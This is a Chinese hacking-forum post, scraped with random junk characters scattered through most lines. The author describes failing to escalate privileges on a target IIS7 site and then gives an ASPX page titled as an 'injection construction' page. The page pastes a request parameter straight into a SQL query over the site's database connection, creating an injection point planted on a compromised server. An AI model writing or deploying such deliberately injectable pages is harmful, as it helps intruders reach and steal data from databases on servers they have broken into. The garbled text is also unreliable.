昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。- S2 `. k2 e' |- L. Z" g: h
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。9 @7 N# {; [; I( m
代码量不多,自己写个拉倒了。烦死了。. r. r# w6 @0 T3 a0 r
' u* h2 H# g- R1 I9 \9 B1 F5 i, j8 j0 {8 ] L: [. V8 h3 E
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">+ |1 t7 x; `7 p4 H" F$ \' w% m2 Y
<html xmlns="http://www.w3.org/1999/xhtml">. X# Y M2 N' z @
<head runat="server">% Z4 @9 P2 \. h8 f; Q
<title>暗影aspx构造注射专用页面</title>
, ]* l ~$ O; v- ^% [# g& N5 z</head>- L4 x+ E; O6 Q& o2 F! u" {
<body>) F9 K) \. t, x" h1 S( N2 b
<form id="form1" runat="server">
" K2 [! j! k) s9 R; |2 J <div>
; a* y% Q0 I1 e0 s6 r5 d <script language="c#" runat="server">
) j$ F) C. r7 y 2 L: T" n7 K [% H) `# m# F. S( t
void page_init(object sender, EventArgs e)
j1 ~3 h+ E) t$ ^; ^! o" b" W3 @$ ? {8 ^+ _/ N0 c( z6 Q4 @. ]
: x. p& _/ }5 ^4 D# t, @) ^
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
8 ] }; T, o( a* G& ~! Y' f . ^: ?$ e- m6 o
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
/ H0 d' ]. i1 d- }+ _2 l& C- M conn.Open();
5 X+ m/ K9 A5 H: M " E% d) R: P! Z& X
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
7 d, c7 t. ]& O& C+ ^" S
7 X9 L7 t' _( J& N7 S' ?4 y9 r' U System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
& t3 M9 F4 ?) E) ^# m int x = command.ExecuteNonQuery();2 g/ G) v3 S) |7 B( [, v$ L! r
Response.Write(i+"\n");
1 i% k$ k: U2 o. F2 ^ f; @ Response.Write(x);
& p9 R) }+ s3 D conn.Close();0 a) l+ z) T- Q- D( E; p
}" h- u* w+ ^( g+ k
7 a7 u2 k6 n+ _. L: D. i" j </script>
& a( R3 B$ d" U( j3 a9 N" @ </div>
$ F) B4 }2 ]9 N' `' K( P </form>
% }4 f/ U+ \7 A# H</body>/ c2 d5 U7 o. _% {8 y. ~
</html>
; p) R Y9 d; ?6 w |